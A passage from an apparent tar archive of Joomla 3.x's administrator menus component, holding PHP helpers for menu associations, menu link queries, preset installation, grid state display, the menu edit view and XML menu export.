	</section>
	<section name="menu">
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
</access>
com_menus/helpers/associations.php000060400000005671152455305260013417 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationExtensionHelper;

/**
 * Menu associations helper.
 *
 * @since  3.7.0
 */
class MenusAssociationsHelper extends AssociationExtensionHelper
{
	/**
	 * The extension name
	 *
	 * @var     array   $extension
	 *
	 * @since   3.7.0
	 */
	protected $extension = 'com_menus';

	/**
	 * Array of item types
	 *
	 * @var     array   $itemTypes
	 *
	 * @since   3.7.0
	 */
	protected $itemTypes = array('item');

	/**
	 * Has the extension association support
	 *
	 * @var     boolean   $associationsSupport
	 *
	 * @since   3.7.0
	 */
	protected $associationsSupport = true;

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public function getAssociations($typeName, $id)
	{
		$type = $this->getType($typeName);

		$context = $this->extension . '.item';

		// Get the associations.
		$associations = JLanguageAssociations::getAssociations(
			$this->extension,
			$type['tables']['a'],
			$context,
			$id,
			'id',
			'alias',
			''
		);

		return $associations;
	}

	/**
	 * Get item information
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  JTable|null
	 *
	 * @since   3.7.0
	 */
	public function getItem($typeName, $id)
	{
		if (empty($id))
		{
			return null;
		}

		$table = null;

		switch ($typeName)
		{
			case 'item':
				$table = JTable::getInstance('menu');
				break;
		}

		if (is_null($table))
		{
			return null;
		}

		$table->load($id);

		return $table;
	}

	/**
	 * Get information about the type
	 *
	 * @param   string  $typeName  The item type
	 *
	 * @return  array  Array of item types
	 *
	 * @since   3.7.0
	 */
	public function getType($typeName = '')
	{
		$fields  = $this->getFieldsTemplate();
		$tables  = array();
		$joins   = array();
		$support = $this->getSupportTemplate();
		$title   = '';

		if (in_array($typeName, $this->itemTypes))
		{
			switch ($typeName)
			{
				case 'item':
					$fields['ordering'] = 'a.lft';
					$fields['level'] = 'a.level';
					$fields['catid'] = '';
					$fields['state'] = 'a.published';
					$fields['created_user_id'] = '';
					$fields['menutype'] = 'a.menutype';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['level'] = true;

					$tables = array(
						'a' => '#__menu'
					);

					$title = 'menu';
					break;
			}
		}

		return array(
			'fields'  => $fields,
			'support' => $support,
			'tables'  => $tables,
			'joins'   => $joins,
			'title'   => $title
		);
	}
}
com_menus/helpers/menus.php000060400000033303152455305260012040 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Menu\MenuHelper;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die;

/**
 * Menus component helper.
 *
 * @since  1.6
 */
class MenusHelper
{
	/**
	 * Defines the valid request variables for the reverse lookup.
	 *
	 * @since   1.6
	 */
	protected static $_filter = array('option', 'view', 'layout');

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_MENUS_SUBMENU_MENUS'),
			'index.php?option=com_menus&view=menus',
			$vName == 'menus'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_MENUS_SUBMENU_ITEMS'),
			'index.php?option=com_menus&view=items',
			$vName == 'items'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param   integer  $parentId  The menu ID.
	 *
	 * @return  JObject
	 *
	 * @since   1.6
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions($parentId = 0)
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_menus');
	}

	/**
	 * Gets a standard form of a link for lookups.
	 *
	 * @param   mixed  $request  A link string or array of request variables.
	 *
	 * @return  mixed  A link in standard option-view-layout form, or false if the supplied response is invalid.
	 *
	 * @since   1.6
	 */
	public static function getLinkKey($request)
	{
		if (empty($request))
		{
			return false;
		}

		// Check if the link is in the form of index.php?...
		if (is_string($request))
		{
			$args = array();

			if (strpos($request, 'index.php') === 0)
			{
				parse_str(parse_url(htmlspecialchars_decode($request), PHP_URL_QUERY), $args);
			}
			else
			{
				parse_str($request, $args);
			}

			$request = $args;
		}

		// Only take the option, view and layout parts.
		foreach ($request as $name => $value)
		{
			if ((!in_array($name, self::$_filter)) && (!($name == 'task' && !array_key_exists('view', $request))))
			{
				// Remove the variables we want to ignore.
				unset($request[$name]);
			}
		}

		ksort($request);

		return 'index.php?' . http_build_query($request, '', '&');
	}

	/**
	 * Get the menu list for create a menu module
	 *
	 * @param   int  $clientId  Optional client id - viz 0 = site, 1 = administrator, can be NULL for all
	 *
	 * @return  array  The menu array list
	 *
	 * @since    1.6
	 */
	public static function getMenuTypes($clientId = 0)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('a.menutype')
			->from('#__menu_types AS a');

		if (isset($clientId))
		{
			$query->where('a.client_id = ' . (int) $clientId);
		}

		$db->setQuery($query);

		return $db->loadColumn();
	}

	/**
	 * Get a list of menu links for one or all menus.
	 *
	 * @param   string   $menuType   An option menu to filter the list on, otherwise all menu with given client id links
	 *                               are returned as a grouped array.
	 * @param   integer  $parentId   An optional parent ID to pivot results around.
	 * @param   integer  $mode       An optional mode. If parent ID is set and mode=2, the parent and children are excluded from the list.
	 * @param   array    $published  An optional array of states
	 * @param   array    $languages  Optional array of specify which languages we want to filter
	 * @param   int      $clientId   Optional client id - viz 0 = site, 1 = administrator, can be NULL for all (used only if menutype not givein)
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function getMenuLinks($menuType = null, $parentId = 0, $mode = 0, $published = array(), $languages = array(), $clientId = 0)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('DISTINCT(a.id) AS value,
					  a.title AS text,
					  a.alias,
					  a.level,
					  a.menutype,
					  a.client_id,
					  a.type,
					  a.published,
					  a.template_style_id,
					  a.checked_out,
					  a.language,
					  a.lft'
			)
			->from('#__menu AS a');

		$query->select('e.name as componentname, e.element')
			->join('left', '#__extensions e ON e.extension_id = a.component_id');

		if (JLanguageMultilang::isEnabled())
		{
			$query->select('l.title AS language_title, l.image AS language_image, l.sef AS language_sef')
				->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');
		}

		// Filter by the type if given, this is more specific than client id
		if ($menuType)
		{
			$query->where('(a.menutype = ' . $db->quote($menuType) . ' OR a.parent_id = 0)');
		}
		elseif (isset($clientId))
		{
			$query->where('a.client_id = ' . (int) $clientId);
		}

		// Prevent the parent and children from showing if requested.
		if ($parentId && $mode == 2)
		{
			$query->join('LEFT', '#__menu AS p ON p.id = ' . (int) $parentId)
				->where('(a.lft <= p.lft OR a.rgt >= p.rgt)');
		}

		if (!empty($languages))
		{
			if (is_array($languages))
			{
				$languages = '(' . implode(',', array_map(array($db, 'quote'), $languages)) . ')';
			}

			$query->where('a.language IN ' . $languages);
		}

		if (!empty($published))
		{
			if (is_array($published))
			{
				$published = '(' . implode(',', $published) . ')';
			}

			$query->where('a.published IN ' . $published);
		}

		$query->where('a.published != -2');
		$query->order('a.lft ASC');

		// Get the options.
		$db->setQuery($query);

		try
		{
			$links = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		if (empty($menuType))
		{
			// If the menutype is empty, group the items by menutype.
			$query->clear()
				->select('*')
				->from('#__menu_types')
				->where('menutype <> ' . $db->quote(''))
				->order('title, menutype');

			if (isset($clientId))
			{
				$query->where('client_id = ' . (int) $clientId);
			}

			$db->setQuery($query);

			try
			{
				$menuTypes = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			// Create a reverse lookup and aggregate the links.
			$rlu = array();

			foreach ($menuTypes as &$type)
			{
				$rlu[$type->menutype] = & $type;
				$type->links = array();
			}

			// Loop through the list of menu links.
			foreach ($links as &$link)
			{
				if (isset($rlu[$link->menutype]))
				{
					$rlu[$link->menutype]->links[] = & $link;

					// Cleanup garbage.
					unset($link->menutype);
				}
			}

			return $menuTypes;
		}
		else
		{
			return $links;
		}
	}

	/**
	 * Get the associations
	 *
	 * @param   integer  $pk  Menu item id
	 *
	 * @return  array
	 *
	 * @since   3.0
	 */
	public static function getAssociations($pk)
	{
		$langAssociations = JLanguageAssociations::getAssociations('com_menus', '#__menu', 'com_menus.item', $pk, 'id', '', '');
		$associations     = array();

		foreach ($langAssociations as $langAssociation)
		{
			$associations[$langAssociation->language] = $langAssociation->id;
		}

		return $associations;
	}

	/**
	 * Load the menu items from database for the given menutype
	 *
	 * @param   string   $menutype     The selected menu type
	 * @param   boolean  $enabledOnly  Whether to load only enabled/published menu items.
	 * @param   int[]    $exclude      The menu items to exclude from the list
	 *
	 * @return  array
	 *
	 * @since   3.8.0
	 *
	 * @deprecated  4.0  This method will return a node object to iterate over in 4.0. 
	 */
	public static function getMenuItems($menutype, $enabledOnly = false, $exclude = array())
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Prepare the query.
		$query->select('m.*')
			->from('#__menu AS m')
			->where('m.menutype = ' . $db->q($menutype))
			->where('m.client_id = 1')
			->where('m.id > 1');

		if ($enabledOnly)
		{
			$query->where('m.published = 1');
		}

		// Filter on the enabled states.
		$query->select('e.element')
			->join('LEFT', '#__extensions AS e ON m.component_id = e.extension_id')
			->where('(e.enabled = 1 OR e.enabled IS NULL)');

		if (count($exclude))
		{
			$exId = array_filter($exclude, 'is_numeric');
			$exEl = array_filter($exclude, 'is_string');

			if ($exId)
			{
				$query->where('m.id NOT IN (' . implode(', ', array_map('intval', $exId)) . ')');
				$query->where('m.parent_id NOT IN (' . implode(', ', array_map('intval', $exId)) . ')');
			}

			if ($exEl)
			{
				$query->where('e.element NOT IN (' . implode(', ', $db->quote($exEl)) . ')');
			}
		}

		// Order by lft.
		$query->order('m.lft');

		$db->setQuery($query);

		try
		{
			$menuItems = $db->loadObjectList();

			foreach ($menuItems as &$menuitem)
			{
				$menuitem->params = new Registry($menuitem->params);
			}
		}
		catch (RuntimeException $e)
		{
			$menuItems = array();

			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		return $menuItems;
	}

	/**
	 * Method to install a preset menu into database and link them to the given menutype
	 *
	 * @param   string  $preset    The preset name
	 * @param   string  $menutype  The target menutype
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   3.8.0
	 */
	public static function installPreset($preset, $menutype)
	{
		$items = MenuHelper::loadPreset($preset, false);

		if (count($items) == 0)
		{
			throw new Exception(JText::_('COM_MENUS_PRESET_LOAD_FAILED'));
		}

		static::installPresetItems($items, $menutype, 1);
	}

	/**
	 * Method to install a preset menu item into database and link it to the given menutype
	 *
	 * @param   stdClass[]  $items     The single menuitem instance with a list of its descendants
	 * @param   string      $menutype  The target menutype
	 * @param   int         $parent    The parent id or object
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 *
	 * @since   3.8.0
	 */
	protected static function installPresetItems(&$items, $menutype, $parent = 1)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);

		static $components = array();

		if (!$components)
		{
			$query->select('extension_id, element')->from('#__extensions')->where('type = ' . $db->q('component'));
			$components = $db->setQuery($query)->loadObjectList();
			$components = ArrayHelper::getColumn((array) $components, 'element', 'extension_id');
		}

		$dispatcher = JEventDispatcher::getInstance();
		$dispatcher->trigger('onPreprocessMenuItems', array('com_menus.administrator.import', &$items, null, true));

		foreach ($items as &$item)
		{
			/** @var  JTableMenu  $table */
			$table = JTable::getInstance('Menu');

			$item->alias = $menutype . '-' . $item->title;

			if ($item->type == 'separator')
			{
				// Do not reuse a separator
				$item->title = $item->title ?: '-';
				$item->alias = microtime(true);
			}
			elseif ($item->type == 'heading' || $item->type == 'container')
			{
				// Try to match an existing record to have minimum collision for a heading
				$keys  = array(
					'menutype'  => $menutype,
					'type'      => $item->type,
					'title'     => $item->title,
					'parent_id' => $parent,
					'client_id' => 1,
				);
				$table->load($keys);
			}
			elseif ($item->type == 'url' || $item->type == 'component')
			{
				if (substr($item->link, 0, 8) === 'special:')
				{
					$special = substr($item->link, 8);

					if ($special === 'language-forum')
					{
						$item->link = 'index.php?option=com_admin&amp;view=help&amp;layout=langforum';
					}
					elseif ($special === 'custom-forum')
					{
						$item->link = '';
					}
				}

				// Try to match an existing record to have minimum collision for a link
				$keys  = array(
					'menutype'  => $menutype,
					'type'      => $item->type,
					'link'      => $item->link,
					'parent_id' => $parent,
					'client_id' => 1,
				);
				$table->load($keys);
			}

			// Translate "hideitems" param value from "element" into "menu-item-id"
			if ($item->type == 'container' && count($hideitems = (array) $item->params->get('hideitems')))
			{
				foreach ($hideitems as &$hel)
				{
					if (!is_numeric($hel))
					{
						$hel = array_search($hel, $components);
					}
				}

				$query->clear()->select('id')->from('#__menu')->where('component_id IN (' . implode(', ', $hideitems) . ')');
				$hideitems = $db->setQuery($query)->loadColumn();

				$item->params->set('hideitems', $hideitems);
			}

			$record = array(
				'menutype'     => $menutype,
				'title'        => $item->title,
				'alias'        => $item->alias,
				'type'         => $item->type,
				'link'         => $item->link,
				'browserNav'   => $item->browserNav ? 1 : 0,
				'img'          => $item->class,
				'access'       => $item->access,
				'component_id' => array_search($item->element, $components),
				'parent_id'    => $parent,
				'client_id'    => 1,
				'published'    => 1,
				'language'     => '*',
				'home'         => 0,
				'params'       => (string) $item->params,
			);

			if (!$table->bind($record))
			{
				throw new Exception('Bind failed: ' . $table->getError());
			}

			$table->setLocation($parent, 'last-child');

			if (!$table->check())
			{
				throw new Exception('Check failed: ' . $table->getError());
			}

			if (!$table->store())
			{
				throw new Exception('Saved failed: ' . $table->getError());
			}

			$item->id = $table->get('id');

			if (!empty($item->submenu))
			{
				static::installPresetItems($item->submenu, $menutype, $item->id);
			}
		}
	}
}
com_menus/helpers/html/menus.php000060400000012676152455305260013016 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Menus HTML helper class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 * @since       1.7
 */
abstract class MenusHtmlMenus
{
	/**
	 * Generate the markup to display the item associations
	 *
	 * @param   int  $itemid  The menu item id
	 *
	 * @return  string
	 *
	 * @since   3.0
	 *
	 * @throws Exception If there is an error on the query
	 */
	public static function association($itemid)
	{
		// Defaults
		$html = '';

		// Get the associations
		if ($associations = MenusHelper::getAssociations($itemid))
		{
			// Get the associated menu items
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('m.id, m.title')
				->select('l.sef as lang_sef, l.lang_code')
				->select('mt.title as menu_title')
				->from('#__menu as m')
				->join('LEFT', '#__menu_types as mt ON mt.menutype=m.menutype')
				->where('m.id IN (' . implode(',', array_values($associations)) . ')')
				->where('m.id != ' . $itemid)
				->join('LEFT', '#__languages as l ON m.language=l.lang_code')
				->select('l.image')
				->select('l.title as language_title');
			$db->setQuery($query);

			try
			{
				$items = $db->loadObjectList('id');
			}
			catch (runtimeException $e)
			{
				throw new Exception($e->getMessage(), 500);
			}

			// Construct html
			if ($items)
			{
				foreach ($items as &$item)
				{
					$text = strtoupper($item->lang_sef);
					$url = JRoute::_('index.php?option=com_menus&task=item.edit&id=' . (int) $item->id);

					$tooltip = htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8') . '<br />' . JText::sprintf('COM_MENUS_MENU_SPRINTF', $item->menu_title);
					$classes = 'hasPopover label label-association label-' . $item->lang_sef;

					$item->link = '<a href="' . $url . '" title="' . $item->language_title . '" class="' . $classes
						. '" data-content="' . $tooltip . '" data-placement="top">'
						. $text . '</a>';
				}
			}

			JHtml::_('bootstrap.popover');

			$html = JLayoutHelper::render('joomla.content.associations', $items);
		}

		return $html;
	}

	/**
	 * Returns a published state on a grid
	 *
	 * @param   integer  $value     The state value.
	 * @param   integer  $i         The row index
	 * @param   boolean  $enabled   An optional setting for access control on the action.
	 * @param   string   $checkbox  An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see JHtmlJGrid::state
	 *
	 * @since   1.7.1
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states = array(
			9  => array(
				'unpublish',
				'',
				'COM_MENUS_HTML_UNPUBLISH_HEADING',
				'',
				true,
				'publish',
				'publish',
			),
			8  => array(
				'publish',
				'',
				'COM_MENUS_HTML_PUBLISH_HEADING',
				'',
				true,
				'unpublish',
				'unpublish',
			),
			7  => array(
				'unpublish',
				'',
				'COM_MENUS_HTML_UNPUBLISH_SEPARATOR',
				'',
				true,
				'publish',
				'publish',
			),
			6  => array(
				'publish',
				'',
				'COM_MENUS_HTML_PUBLISH_SEPARATOR',
				'',
				true,
				'unpublish',
				'unpublish',
			),
			5  => array(
				'unpublish',
				'',
				'COM_MENUS_HTML_UNPUBLISH_ALIAS',
				'',
				true,
				'publish',
				'publish',
			),
			4  => array(
				'publish',
				'',
				'COM_MENUS_HTML_PUBLISH_ALIAS',
				'',
				true,
				'unpublish',
				'unpublish',
			),
			3  => array(
				'unpublish',
				'',
				'COM_MENUS_HTML_UNPUBLISH_URL',
				'',
				true,
				'publish',
				'publish',
			),
			2  => array(
				'publish',
				'',
				'COM_MENUS_HTML_PUBLISH_URL',
				'',
				true,
				'unpublish',
				'unpublish',
			),
			1  => array(
				'unpublish',
				'COM_MENUS_EXTENSION_PUBLISHED_ENABLED',
				'COM_MENUS_HTML_UNPUBLISH_ENABLED',
				'COM_MENUS_EXTENSION_PUBLISHED_ENABLED',
				true,
				'publish',
				'publish',
			),
			0  => array(
				'publish',
				'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED',
				'COM_MENUS_HTML_PUBLISH_ENABLED',
				'COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED',
				true,
				'unpublish',
				'unpublish',
			),
			-1 => array(
				'unpublish',
				'COM_MENUS_EXTENSION_PUBLISHED_DISABLED',
				'COM_MENUS_HTML_UNPUBLISH_DISABLED',
				'COM_MENUS_EXTENSION_PUBLISHED_DISABLED',
				true,
				'warning',
				'warning',
			),
			-2 => array(
				'publish',
				'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED',
				'COM_MENUS_HTML_PUBLISH_DISABLED',
				'COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED',
				true,
				'trash',
				'trash',
			),
			-3 => array(
				'publish',
				'',
				'COM_MENUS_HTML_PUBLISH',
				'',
				true,
				'trash',
				'trash',
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'items.', $enabled, true, $checkbox);
	}

	/**
	 * Returns a visibility state on a grid
	 *
	 * @param   integer  $params  Params of item.
	 *
	 * @return  string  The Html code
	 *
	 * @since   3.7.0
	 */
	public static function visibility($params)
	{
		$registry = new Registry;

		try
		{
			$registry->loadString($params);
		}
		catch (Exception $e)
		{
			// Invalid JSON
		}

		$show_menu = $registry->get('menu_show');

		return ($show_menu === 0) ? '<span class="label">' . JText::_('COM_MENUS_LABEL_HIDDEN') . '</span>' : '';
	}
}
com_menus/views/menu/tmpl/edit.xml000060400000000300152455305260013251 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MENUS_MENU_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_MENUS_MENU_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
com_menus/views/menu/tmpl/edit.php000060400000003562152455305260013255 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JText::script('ERROR');

JFactory::getDocument()->addScriptDeclaration("
		Joomla.submitbutton = function(task)
		{
			var form = document.getElementById('item-form');
			if (task == 'menu.cancel' || document.formvalidator.isValid(form))
			{
				Joomla.submitform(task, form);
			}
		};
");
?>
<form action="<?php echo JRoute::_('index.php?option=com_menus&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_MENUS_MENU_DETAILS')); ?>

			<?php
			echo $this->form->renderField('menutype');

			echo $this->form->renderField('description');

			echo $this->form->renderField('client_id');

			echo $this->form->renderField('preset');
			?>

			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php if ($this->canDo->get('core.admin')) : ?>
				<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'permissions', JText::_('COM_MENUS_FIELDSET_RULES')); ?>
					<?php echo $this->form->getInput('rules'); ?>
				<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>

	</div>
</form>
com_menus/views/menu/view.html.php000060400000004567152455305260013277 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The HTML Menus Menu Item View.
 *
 * @since  1.6
 */
class MenusViewMenu extends JViewLegacy
{
	/**
	 * @var  JForm
	 */
	protected $form;

	/**
	 * @var  mixed
	 */
	protected $item;

	/**
	 * @var  JObject
	 */
	protected $state;

	/**
	 *
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->form	 = $this->get('Form');
		$this->item	 = $this->get('Item');
		$this->state = $this->get('State');

		$this->canDo = JHelperContent::getActions('com_menus', 'menu', $this->item->id);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		parent::display($tpl);
		$this->addToolbar();
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$input = JFactory::getApplication()->input;
		$input->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);

		JToolbarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_MENU_TITLE' : 'COM_MENUS_VIEW_EDIT_MENU_TITLE'), 'list menu');

		// If a new item, can save the item.  Allow users with edit permissions to apply changes to prevent returning to grid.
		if ($isNew && $this->canDo->get('core.create'))
		{
			if ($this->canDo->get('core.edit'))
			{
				JToolbarHelper::apply('menu.apply');
			}

			JToolbarHelper::save('menu.save');
		}

		// If user can edit, can save the item.
		if (!$isNew && $this->canDo->get('core.edit'))
		{
			JToolbarHelper::apply('menu.apply');
			JToolbarHelper::save('menu.save');
		}

		// If the user can create new items, allow them to see Save & New
		if ($this->canDo->get('core.create'))
		{
			JToolbarHelper::save2new('menu.save2new');
		}

		if ($isNew)
		{
			JToolbarHelper::cancel('menu.cancel');
		}
		else
		{
			JToolbarHelper::cancel('menu.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_MENUS_MENU_MANAGER_EDIT');
	}
}
com_menus/views/menu/view.xml.php000060400000006624152455305260013127 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

use Joomla\CMS\Menu\MenuHelper;

/**
 * The HTML Menus Menu Item View.
 *
 * @since  3.8.0
 */
class MenusViewMenu extends JViewLegacy
{
	/**
	 * @var  stdClass[]
	 *
	 * @since  3.8.0
	 */
	protected $items;

	/**
	 * @var  JObject
	 *
	 * @since  3.8.0
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @since   3.8.0
	 */
	public function display($tpl = null)
	{
		$app      = JFactory::getApplication();
		$menutype = $app->input->getCmd('menutype');

		if ($menutype)
		{
			$items = MenusHelper::getMenuItems($menutype, true);
		}

		if (empty($items))
		{
			JLog::add(JText::_('COM_MENUS_SELECT_MENU_FIRST_EXPORT'), JLog::WARNING, 'jerror');

			$app->redirect(JRoute::_('index.php?option=com_menus&view=menus', false));

			return;
		}

		$this->items = MenuHelper::createLevels($items);

		$xml = new SimpleXMLElement('<menu ' .
			'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' .
			'xmlns="urn:joomla.org"	xsi:schemaLocation="urn:joomla.org menu.xsd"' .
			'></menu>'
		);

		foreach ($this->items as $item)
		{
			$this->addXmlChild($xml, $item);
		}

		if (headers_sent($file, $line))
		{
			JLog::add("Headers already sent at $file:$line.", JLog::ERROR, 'jerror');

			return;
		}

		header('content-type: application/xml');
		header('content-disposition: attachment; filename="' . $menutype . '.xml"');
		header("Cache-Control: no-cache, must-revalidate");
		header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
		header('Pragma: private');

		$dom = new DOMDocument;
		$dom->preserveWhiteSpace = true;
		$dom->formatOutput = true;
		$dom->loadXML($xml->asXML());

		echo $dom->saveXML();

		$app->close();
	}

	/**
	 * Add a child node to the xml
	 *
	 * @param   SimpleXMLElement  $xml   The current XML node which would become the parent to the new node
	 * @param   stdClass          $item  The menuitem object to create the child XML node from
	 *
	 * @return  void
	 *
	 * @since   3.8.0
	 */
	protected function addXmlChild($xml, $item)
	{
		$node = $xml->addChild('menuitem');

		$node['type'] = $item->type;

		if ($item->title)
		{
			$node['title'] = $item->title;
		}

		if ($item->link)
		{
			$node['link'] = $item->link;
		}

		if ($item->element)
		{
			$node['element'] = $item->element;
		}

		if ($item->class)
		{
			$node['class'] = $item->class;
		}

		if ($item->access)
		{
			$node['access'] = $item->access;
		}

		if ($item->browserNav)
		{
			$node['target'] = '_blank';
		}

		if (count($item->params))
		{
			$hideitems = $item->params->get('hideitems');

			if (count($hideitems))
			{
				$db    = JFactory::getDbo();
				$query = $db->getQuery(true);

				$query->select('e.element')->from('#__extensions e')
					->join('inner', '#__menu m ON m.component_id = e.extension_id')
					->where('m.id IN (' . implode(', ', $db->quote($hideitems)) . ')');

				$hideitems = $db->setQuery($query)->loadColumn();

				$item->params->set('hideitems', $hideitems);
			}

			$node->addChild('params', (string) $item->params);
		}

		foreach ($item->submenu as $sub)
		{
			$this->addXmlChild($node, $sub);
		}
	}
}
com_menus/views/items/tmpl/default_batch_body.php000060400000005460152455305260016306 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$options = array(
	JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')),
	JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE'))
);
$published = (int) $this->state->get('filter.published');
$clientId  = (int) $this->state->get('filter.client_id');
$menuType  = JFactory::getApplication()->getUserState('com_menus.items.menutype');
if ($clientId == 1) :
	JFactory::getDocument()->addScriptDeclaration(
		'
			jQuery(document).ready(function($){
				if ($("#batch-menu-id").length){var batchSelector = $("#batch-menu-id");}
				if ($("#batch-copy-move").length) {
					$("#batch-copy-move").hide();
					batchSelector.on("change", function(){
						if (batchSelector.val() != 0 || batchSelector.val() != "") {
							$("#batch-copy-move").show();
						} else {
							$("#batch-copy-move").hide();
						}
					});
				}
			});
		'
	);
endif;

?>
<div class="container-fluid">
	<?php if (strlen($menuType) && $menuType != '*') : ?>
	<?php if ($clientId != 1) : ?>
